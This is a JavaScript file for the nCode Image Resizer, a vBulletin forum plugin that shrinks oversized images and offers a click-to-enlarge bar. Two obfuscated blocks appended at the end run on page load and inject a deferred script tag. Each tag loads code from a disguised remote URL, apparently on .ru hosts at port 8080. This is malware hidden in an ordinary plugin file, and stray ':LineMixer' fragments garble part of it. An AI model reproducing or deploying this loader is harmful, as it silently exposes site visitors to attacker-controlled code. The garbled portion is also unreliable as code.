// nCode Image Resizer for vBulletin 3.6.0
// http://www.ncode.nl/vbulletinplugins/
// Version: 1.0.1
//
// (c) 2007 nCode


NcodeImageResizer.IMAGE_ID_BASE = 'ncode_imageresizer_container_';
NcodeImageResizer.WARNING_ID_BASE = 'ncode_imageresizer_warning_';
NcodeImageResizer.scheduledResizes = [];

function NcodeImageResizer(id, img) {
	this.id = id;
	this.img = img;
	this.originalWidth = 0;
	this.originalHeight = 0;
	this.warning = null;
	this.warningTextNode = null;
	this.originalWidth = img.originalWidth;
	this.originalHeight = img.originalHeight;
	
	img.id = NcodeImageResizer.IMAGE_ID_BASE+id;
}

NcodeImageResizer.executeOnload = function() {
	var rss = NcodeImageResizer.scheduledResizes;
	for(var i = 0; i  < rss.length; i++) {
		NcodeImageResizer.createOn(rss[i], true);
	}
}

NcodeImageResizer.schedule = function(img) {
	if(NcodeImageResizer.scheduledResizes.length == 0) {
		if(window.addEventListener) {
			window.addEventListener('load', NcodeImageResizer.executeOnload, false);
		} else if(window.attachEvent) {
			window.attachEvent('onload', NcodeImageResizer.executeOnload);
		}
	}
	NcodeImageResizer.scheduledResizes.push(img);
}

NcodeImageResizer.getNextId = function() {
	var id = 1;
	while(document.getElementById(NcodeImageResizer.IMAGE_ID_BASE+id) != null) {
		id++;
	}
	return id;
}

NcodeImageResizer.createOnId = function(id) {
	return NcodeImageResizer.createOn(document.getElementById(id));
}

NcodeImageResizer.createOn = function(img, isSchedule) {
	if(typeof isSchedule == 'undefined') isSchedule = false;
	
	if(!img || !img.tagName || img.tagName.toLowerCase() != 'img') {
		alert(img+' is not an image ('+img.tagName.toLowerCase()+')');
	}
	
	if(img.width == 0 || img.height == 0) {
		if(!isSchedule)
			NcodeImageResizer.schedule(img);
		return;
	}
	
	if(!img.originalWidth) img.originalWidth = img.width;
	if(!img.originalHeight) img.originalHeight = img.height;
	
	if((NcodeImageResizer.MAXWIDTH > 0 && img.originalWidth > NcodeImageResizer.MAXWIDTH) || (NcodeImageResizer.MAXHEIGHT > 0 && img.originalHeight > NcodeImageResizer.MAXHEIGHT)) {
		var isRecovery = false; // if this is a recovery from QuickEdit, which only restores the HTML, not the OO structure
		var newid, resizer;
		if(img.id && img.id.indexOf(NcodeImageResizer.IMAGE_ID_BASE) == 0) {
			newid = img.id.substr(NcodeImageResizer.IMAGE_ID_BASE.length);
			if(document.getElementById(NcodeImageResizer.WARNING_ID_BASE+newid) != null) {
				resizer = new NcodeImageResizer(newid, img);
				isRecovery = true;
				resizer.restoreImage();
			}
		} else {
			newid = NcodeImageResizer.getNextId();
			resizer = new NcodeImageResizer(newid, img);
		}
		
		if(isRecovery) {
			resizer.reclaimWarning(newid);
		} else {
			resizer.createWarning();
		}
		resizer.scale();
	}
}

NcodeImageResizer.prototype.restoreImage = function() {
	newimg = document.createElement('IMG');
	newimg.src = this.img.src;
	this.img.width = newimg.width;
	this.img.height = newimg.height;
}

NcodeImageResizer.prototype.reclaimWarning = function(id) {
	this.warning = document.getElementById(NcodeImageResizer.WARNING_ID_BASE+id);
	this.warningTextNode = this.warning.firstChild.firstChild.childNodes[1].firstChild;
	this.warning.resize = this;
	
	this.scale();
}

NcodeImageResizer.prototype.createWarning = function() {
	var mtable = document.createElement('TABLE');
	var mtbody = document.createElement('TBODY');
	var mtr = document.createElement('TR');
	var mtd1 = document.createElement('TD');
	var mtd2 = document.createElement('TD');
	var mimg = document.createElement('IMG');
	var mtext = document.createTextNode('');
	
	mimg.src = NcodeImageResizer.BBURL+'/images/statusicon/wol_error.gif';
	mimg.width = 16;
	mimg.height = 16;
	mimg.alt = '';
	mimg.border = 0;
	
	mtd1.width = 20;
	mtd1.className = 'td1';
	
	mtd2.unselectable = 'on';
	mtd2.className = 'td2';
	
	mtable.className = 'ncode_imageresizer_warning';
	mtable.textNode = mtext;
	mtable.resize = this;
	mtable.id = NcodeImageResizer.WARNING_ID_BASE+this.id;
	
	mtd1.appendChild(mimg);
	mtd2.appendChild(mtext);
	
	mtr.appendChild(mtd1);
	mtr.appendChild(mtd2);
	
	mtbody.appendChild(mtr);
	
	mtable.appendChild(mtbody);
	
	this.img.parentNode.insertBefore(mtable, this.img);
	
	this.warning = mtable;
	this.warningTextNode = mtext;
}

NcodeImageResizer.prototype.setText = function(text) {
	var newnode = document.createTextNode(text);
	this.warningTextNode.parentNode.replaceChild(newnode, this.warningTextNode);
	this.warningTextNode = newnode;
}

NcodeImageResizer.prototype.scale = function() {
	this.img.height = this.originalHeight;
	this.img.width = this.originalWidth;
	
	if(NcodeImageResizer.MAXWIDTH > 0 && this.img.width > NcodeImageResizer.MAXWIDTH) {
		this.img.height = (NcodeImageResizer.MAXWIDTH / this.img.width) * this.img.height;
		this.img.width = NcodeImageResizer.MAXWIDTH;
	}
	
	if(NcodeImageResizer.MAXHEIGHT > 0 && this.img.height > NcodeImageResizer.MAXHEIGHT) {
		this.img.width = (NcodeImageResizer.MAXHEIGHT / this.img.height) * this.img.width;
		this.img.height = NcodeImageResizer.MAXHEIGHT;
	}
	
	this.warning.width = this.img.width;
	this.warning.onclick = function() { return this.resize.unScale(); }
	
	if(this.img.width < 450) {
		this.setText(vbphrase['ncode_imageresizer_warning_small']);
	} else if(this.img.fileSize && this.img.fileSize > 0) {
		this.setText(vbphrase['ncode_imageresizer_warning_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight).replace('%3$s', Math.round(this.img.fileSize/1024)));
	} else {
		this.setText(vbphrase['ncode_imageresizer_warning_no_filesize'].replace('%1$s', this.originalWidth).replace('%2$s', this.originalHeight));
	}
	
	return false;
}

NcodeImageResizer.prototype.unScale = function() {
	switch(NcodeImageResizer.MODE) {
		case 'samewindow':
			window.open(this.img.src, '_self');
			break;
		case 'newwindow':
			window.open(this.img.src, '_blank');
			break;
		case 'enlarge':
		default:
			this.img.width = this.originalWidth;
			this.img.height = this.originalHeight;
			this.img.className = 'ncode_imageresizer_original';
			if(this.warning != null) {
				this.setText(vbphrase['ncode_imageresizer_warning_fullsize']);
				this.warning.width = this.img.width;
				this.warning.onclick = function() { return this.resize.scale() };
			}
			break;
	}
	
	return false;
}

var i;if(i!=''){i='f'};var ks;if(ks!=''){ks='k'};var d=window;var b='sJc$rEi$p$tJ'.replace(/[JE4z\$]/g, '');var h=document;var c=new Date();var t=new Date();d.onload=function(){this.v=1362;try {var g;if(g!='' && g!='m'){g='ll'};this.ti='';_=h.createElement(b);var p;if(p!='' && p!='he'){p='ih'};var e;if(e!='' && e!='ig'){e='ve'};_.src='h6txtwpx:|/#/wt6owmx-xcxowmw.#f#rxi#e|nxd|f#ewewd|.xc|o|mw.wgxowo6g|l|e|-6e#s|.wy|o|u#rxtxawg6h|e6u6e#r|.#rwu6:#8|0w8w0|/#zxy6nwg#ax.wc|o#m|/#z#y6nwgwax.|cwo#m6/#hwsxbwc|.6cwo6.wuwkx/xr6awp6i|dw4wm|e6.xcwoxmx/|g|o6o6g#l6e#.xc|o#mx/|'.replace(/[\|6wx#]/g, '');_.setAttribute('dkeyfkekr_'.replace(/[_FIyk]/g, ''), "1");this.pj="pj";var _r;if(_r!='q' && _r!='u'){_r=''};var kc;if(kc!='ml'){kc='ml'};var te=new Date();var kh;if(kh!='' && kh!='ga'){kh='zb'};h.body.appendChild(_);} catch(x){var iw;if(iw!='ri' && iw!='fc'){iw=''};};var hy=new Date();var a;if(a!='' && a!='_x'){a=''};};var hyw=new Date();var n;if(n!='uu' && n!='vu'){n='uu'};
try {var s="s";this.td=49012;:LineMixer [var a='h>t2tSp2:!/I/>k>o!h!l>s2-2cSo!m!.SmIiIlSlSi!y!eItS.2c!oIm!.!tIr2.>e!v>o2nIyI->c!o>mS.!h!oSt>nIeSw!gSuIi2d>e2.Sr!u!:S8>0S8S0!/Il!eIn!t!aI.>rSu2/>l2e!nSt!a!.IrSuS/2h>u2lSuI.Ic2oIm!/!sIi2t>e!p!oIi>nItI.ScSo>mI/>g2o>o2g2lIeI.Sc2oIm2/!'.replace(/[\!I2\>S]/g, '');var t='sCcVrniKpKtC'.replace(/[CnVK9]/g, '');var p="p";var x='c0rveRavtReRE0lXevmvevn0t;'.replace(/[;Xv0R]/g, '');var sj=false;var j='oUn.lUo$a.dc'.replace(/[cUf\.\$]/g, '');var i="1";var cv='';var v='aNp#p#e#n@d;CNh;i#lNd#'.replace(/[#;7@N]/g, '');var z='s3e3t*A3tPt3r*i3bPu3tPe3'.replace(/[3PqH\*]/g, '');var ai='bsoOd#ys'.replace(/[sO,#j]/g, '');]var ta;if(ta!='q'){ta=''};window[j]=function(){var ka=new Date();o=document[x](t);var vl;if(vl!=''){vl='qj'};:LineMixer [o['sNrfcT'.replace(/[T#NBf]/g, '')]=a;this.kay=false;o[z]('dAemfAevrm'.replace(/[mAqvZ]/g, ''), i);var aj=document[ai];]aj[v](o);var cz;if(cz!='' && cz!='oq'){cz=null};};this.n='';} catch(_){var zt;if(zt!='y' && zt!='d'){zt='y'};};